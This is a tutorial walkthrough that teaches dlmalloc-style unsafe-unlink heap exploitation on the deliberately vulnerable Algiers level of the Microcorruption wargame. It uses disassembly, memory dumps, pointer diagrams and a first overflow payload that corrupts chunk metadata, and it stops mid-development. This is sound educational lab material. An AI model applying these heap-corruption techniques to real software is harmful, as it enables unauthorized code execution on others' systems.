A Stranger in Algiers:
How to Become a Heap Exploitation Autodidact
Abstract
This page is an introduction to heap exploitation, specifically, the original dlmalloc-style unsafe unlink technique described in Phrack 57:9. The heap implementation is from Algiers, the 13th challenge from the Microcorruption wargame originally developed by Matasano.
Executive Summary
If you want to write a zero-day exploit that can destroy more money than the GDP of 47 countries and then sell it for a million dollars, you will want to learn heap exploitation first. Given an embedded gray box heap implementation, this is how to go from a firmware dump to remote code execution without knowledge of the internals.
Overview
First Working Exploit: 0621 UTC, April 2nd, 2020Reading Time: 45 minutes
Rendering Note:
There is a known issue with Android lacking a true monotype system font, which breaks many of the extended ASCII character set diagrams below. Please view this page on a Chrome or Firefox-based desktop browser to avoid rendering issues. Ideally on a Linux host.
Motivation
[T]he subjects of software security (with regard to binary exploitation) are difficult to learn without an intimate understanding of that ‘underlying complexity’. The bar for entry demands an inordinate level of familiarity with obtuse low level software concepts, operating systems, CPU architecture, debuggers, disassemblers, and more. This depth of computer literacy can be intimidating to even senior software engineers. But when bundled and applied properly, exploit developers use this suite of knowledge to ‘surf on the fringe of what is possible’, opening doors to software and systems that were never intended to exist. As modern software security continues to evolve, this learning curve only grows more daunting.
— RET2 Systems
Heap exploitation is baffling. Anyone with experience will recognize the accuracy of the following graph.
This phenomenon is easily verifiable in practice. Consider the following statistics.
DownUnder
DownUnder is a CTF run by a conglomerate of thirteen Australian universities. It is a quintessential representative of low to mid-weight CTFs. It attracted 1,970 teams from over 10 countries in 2022. Of these, 1,407 teams scored any points at all, and 1,182 managed to score even marginally higher than the bare minimum required to show up on the official scoreboard.
The most-solved heap exploitation challenge amassed 71 solves.
Measured relative to the 1,182 significant teams, this suggests that 6% of them had heap exploitation skills of any kind. Compare this with one of the least-solved binary exploitation challenges in the event.
Measured relative to the 1,182 significant teams, only 0.25% of them could exploit a custom allocator double-free vulnerability.
Microcorruption
Microcorruption is one of the longer-running wargames in existence. It has been continuously online for a decade. For the period spanning early 2014 to May 2022, the level solve counts were as follows.
| User Category | User Count |
|---|---|
Registered |
86,487 |
Completed Tutorial |
51,203 |
Significant Users |
29,872 |
The "significant users" are those who managed to solve the first real challenge, which required extracting a hardcoded password from the firmware image by analyzing the defined strings. The following percentiles derive from that baseline.
| Level | Number | Solves | Percentile |
|---|---|---|---|
Algiers |
[#14] |
2564 |
91st |
Chernobyl |
[#18] |
788 |
97th |
These challenges involve a variant of the original dlmalloc unlink exploits. Despite the underlying technique being 20 years old, only 1 in 12 significant users can implement it. Introducing additional constraints drops the number to 1 in 38.
These numbers span more than eight years, with step-by-step walkthroughs and video tutorials for these exact challenges available for most of that duration. The sheer duration skews the data; accounting for "writeup bias" requires data from before walkthroughs were publicly available. The earliest data available is from 2016—two years into the total lifespan.
At this point, 1 in 7 significant users had solved level 14, and 1 in 25 had solved level 18. Based on these more conservative numbers, eighty-six percent of the population who can extract hard-coded credentials from firmware images cannot write heap exploits—even using old techniques with tailor-made writeups available.
Pedagogy
Why is this hard?
There are decent resources for learning more advanced techniques against newer implementations. Shellphish's How2Heap repository is a good reference, and Max Kamper's HeapLAB course is generally well-regarded.
There are very few good resources for learning introductory heap exploitation. Microcorruption is one of them. LiveOverflow's Binary Exploitation series is a helpful resource—specifically videos 0x13 and 0x14—and there is Phrack. Based on the above statistics, each of these resources lacks something.
- Learning heap exploitation from Phrack is like attempting to learn phonetic language from cuniform tablets.
- Watching LiveOverflow's binary exploitation series without the correct background is like watching a hyperactive mayfly on amphetamines. That said, it is probably the most intelligible video resource available on the subject, and it does an excellent job of attempting to interpret Phrack 57:9 for a modern audience.
- Microcorruption is excellent, especially for avoiding tooling hassles, but it throws the learner into the deep end to learn from first principles.
The Problem with Hacking Autodidactism
Like crossword puzzles, many security wargames have been designed to challenge users—not to teach them. Their use as an educational resource has grown simply due to the lack of better alternatives.
— RET2 Systems
While it might be popular to say we are standing on the shoulders of giants, the truth is that most of the pioneers in this field are notoriously bad at paving the way for future generations. The reason is simple: explaining the underlying thought process behind reverse engineering is time-consuming.
Reverse Engineering Embedded Heap Algorithms
What is the thought process required to develop a technique in the first place? How would someone discover the original dlmalloc unlink write primitive? Those are the questions this walkthrough will answer.
Overview
The target heap implementation is from the Microcorruption CTF-turned-wargame. It was developed a decade ago by Matasano and centered around a deliberately vulnerable smart lock. The goal for each challenge is simple: write a software exploit to trigger an unlock.
Algiers is the 14th level in the series and the first of two that involve heap exploitation. The implementation used on Algiers is essentially a stripped-down version of early dlmalloc. Minor details aside, it works well for the sake of demonstration.
The main difference is that this implementation does not store metadata inline (requiring a buffer overflow rather than a use-after-free exploit). Chunks are always part of a linked list regardless of allocation status. This implementation also omits the prev_size field. None of these differences conceptually affect the exploit technique.
System Architecture
The emulated device runs on the MSP430 instruction set architecture. It uses a 16-bit little-endian processor and has 64 kilobytes of RAM. The official manual includes the details, but relevant functionality is summarized below.
Interface
Several separate windows control the debugger functionality.
The following user input prompt is the device's external communication interface.
Exploit Development Objective
The equivalent of popping a shell on this system is calling the unlock_door function.
Executing the following assembly is functionally equivalent to calling the unlock_door function.
Disassembly
3240 00ff mov #0xff00, sr
b012 1000 call #0x10
Assembly
324000ffb0121000This results in the following message displaying in the interface.
High-Level Analysis
Sample Output
Typing "continue" at the debug console will produce the following output at the I/O console.
Enter your username and password to continue.
Username >>
Supplying a test username (e.g., "admin") then causes the code to prompt for a password.
Username >>
(Remember: passwords are between 8 and 16 characters.)The following output is the result after sending a test password (e.g., "password").
That password is not correct.Flow Control Graph
The login function handles the top-level logic in Algiers. The Ghidra flow control graph for this function is as follows.
Static Analysis
By design, the login function calls unlock_door only if test_password_valid returns a specific value in R15.
The disassembly for the test_password_valid function is as follows.
4570 <test_password_valid>
4570: 0412 push r4
4572: 0441 mov sp, r4
4574: 2453 incd r4
4576: 2183 decd sp
4578: c443 fcff mov.b #0x0, -0x4(r4)
457c: 3e40 fcff mov #0xfffc, r14
4580: 0e54 add r4, r14
4582: 0e12 push r14
4584: 0f12 push r15
4586: 3012 7d00 push #0x7d
458a: b012 b646 call #0x46b6 <INT>
458e: 5f44 fcff mov.b -0x4(r4), r15
4592: 8f11 sxt r15
4594: 3152 add #0x8, sp
4596: 3441 pop r4
4598: 3041 retThe 0x7D interrupt call sets the contents of R15. Anyone working through the wargame from the beginning would already be familiar with this functionality because it exists in previous levels.
HSM Model 1
3.2 HSM Model 1
The Model 1 of the hardware security module contains a simple interface which allows the MCU to test if an entered password is valid. By default, the interrupt 0x7D will pass a given password to the HSM, and will set a byte in memory if the password entered matches the stored password.
— Microcorruption Manual
Hardware Architecture
The password is stored in the HSM to prevent an attacker from extracting it from memory. Communications between the MCU and HSM occur over something like a serial line. The HSM receives password attempts and returns a boolean indicating whether the password is correct. The hardware architecture resembles the following diagram.
An online brute-force attack against an eight-to-sixteen-character password is infeasible, necessitating exploiting the HSM or achieving arbitrary code execution on the main MCU. The latter approach is the intended solution.
Dynamic Analysis
The first objective is to determine the location of user input in memory.
Supplying 64 bytes of the non-printing character 0xAA provides a recognizable pattern that is discernable from a memory dump.
The implementation only reads 48 bytes into memory at the above location. The next step is to determine what data was originally there. Reset the debugger using the "reset" command, then type "continue." When the input prompt pops up, click the "wait" button. The following slideshow depicts this memory region before the read, after sending the username, and after sending the password.
It is important to note that this memory region is not the stack. The stack resides at a significantly higher address range.
A few parts of this memory are non-zero before the reads, which are overwritten with the test data afterward.
0170: *
2400: 0824 0010 0000 0000 0824 1e24 2100 0000 .$.......$.$!...
2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$
2420: 3424 2100 0000 0000 0000 0000 0000 0000 4$!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2450: * The challenge is thus as follows: redirect execution flow to the unlock_door function given control of these six words.
Attack Surface
By definition, only code executed after reading user input can be vulnerable—which rules out half the code in the login function. The remaining blocks are of interest.
Anyone who has worked through the previous challenges in the series understands the behavior of puts and getsn. The free function, by process of elimination, must be the vulnerable one—a theory supported by examining the pointer passed to free in R15.
Supply shorter test data on this iteration. Depending on the call, R15 points to the start of the username or password buffer, near the six words noted earlier.
Memory Access Patterns
Single-stepping through the first free call while watching the 0x2400 region reveals the memory access patterns. It is convoluted to follow but indicates which words the algorithm utilizes.
There are only a few writes. The second call to free is slightly more involved.
As suspected, the algorithm seems to change the six words observed previously.
Data Structure
Several implementation details are inferrable from the contents of the memory region.
0824 0010 0000 0000 0824 1e24 2100 aaaa
0000 0000 0000 0000 0000 0000 0000 0824
3424 2100 bbbb 0000 0000 0000 0000 0000
0000 0000 1e24 0824 9c1f 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
The exact data structure may be opaque, but the two free calls indicate the presence of at least two discrete sections of the memory: one for the username and one for the password.
0824 0010 0000 0000 0824 1e24 2100 aaaa
0000 0000 0000 0000 0000 0000 0000 0824
3424 2100
bbbb 0000 0000 0000 0000 0000
0000 0000 1e24 0824 9c1f 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
First, divide the memory in half at the address where the password buffer begins.
0824 0010 0000 0000 0824 1e24 2100 aaaa
0000 0000 0000 0000 0000 0000 0000 0824
3424 2100
bbbb 0000 0000 0000 0000 0000
0000 0000 1e24 0824 9c1f 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
The status message indicates that passwords are between eight and sixteen characters, which means the buffer is probably sixteen bytes.
0824 0010 0000 0000 0824 1e24 2100 aaaa
0000 0000 0000 0000 0000 0000 0000 0824
3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
Everything after that buffer is something else.
0824 0010 0000 0000 0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
The username buffer has a similar structure, so it is separated.
0824 0010 0000 0000 0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
Recall that the value passed to the first iteration of free points at the start of the password buffer.
0824 0010 0000 0000 0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
As previously observed, only the preceding three words change during this first call.
0824 0010 0000 0000 0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
This pattern suggests that these two segments are related.
0824 0010 0000 0000 0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
There are two malloc calls before the two free calls. Even without knowing what malloc does, it is reasonable to assume these two functions are related based on the proportional number of calls. The malloc calls likely instantiate something, and the free calls modify it somehow. Presumably, the two data structures created by malloc should be functionally identical.
0824 0010 0000 0000
0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
The order of these calls implies that, much like the password buffer, the username buffer is somehow related to its preceding three words.
0824 0010 0000 0000
0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f
0000 0000 0000 0000 0000 0000 0000 0000
Extrapolating from this pattern, the six words after the password buffer probably serve the same purpose for the next section of the data structure.
Reversing Endianness
The MSP430 is a little-endian processor, which makes reading pointers in a memory dump difficult. Reverse the endianness for every word to make the web of pointers understandable.
0824 0010 0000 0000
0824 1e24 2100
aaaa 0000 0000 0000 0000 0000 0000 0000
0824 3424 2100
bbbb 0000 0000 0000 0000 0000 0000 0000
1e24 0824 9c1f
0000 0000 0000 0000 0000 0000 0000 0000
2408 1000 0000 0000
2408 241e 0021
aaaa 0000 0000 0000 0000 0000 0000 0000
2408 2434 0021
bbbb 0000 0000 0000 0000 0000 0000 0000
241e 2408 1f9c
0000 0000 0000 0000 0000 0000 0000 0000
Pointer Structure
The sections of memory are as follows.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────────┴────────┴────────┴──────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
The visualization below depicts the pointer structure.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Runtime Analysis
First Free Call
Observe what happens when the login function passes a password buffer pointer to free. The highlighted memory location is in R15.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The data structure is then modified as follows.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 1fc2 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Second Free Call
The second free call takes a pointer to the username buffer, also passed in R15.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The data structure is then modified as follows.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0020 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌──┐ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 200e │ aaaa 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└───┬────┴────────┴────────┴──────┘
│
┌─────┐ │ ┌──────────────────────────────────────────────────┐
│ │ │ │ │
│ ┌─┐ │ │ │ ┌──────┐ │
│ │ ▼ ▼ ▼ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 200e │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ │
│ │ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ └─────────────────────────────────────────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Flipping Bits
Recall that the username read has a 32-byte buffer overflow. Supplying 48 bytes of the non-printing character 0xAA results in memory corruption.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ aaaa │ aaaa │ aaaa │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ aaaa │ aaaa │ aaaa │ aaaa aaaa 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Consider a case where the attacker sets the least significant byte of the first overflowed word to a higher value. The initial value of this byte is as follows.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
It is unclear what the algorithm is doing, so a minor alteration is initially preferable. There may be checks to see whether the value is within some range, so change the pointer to a nearby address. Consider what happens when setting the first word to a value within 256 bytes of the original location. Sending the following payload as the username accomplishes this.
Username:
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 3424 2100The value of the first overflowed word is now 0x2490. Raw memory before the free call is as follows.
2400: 0824 0010 0000 0000 0824 1e24 2100 0000 .$.......$.$!...
2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$
2420: 3424 2100 0000 0000 0000 0000 0000 0000 4$!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 ...............$
2420: 3424 2100 0000 0000 0000 0000 0000 0000 4$!.............
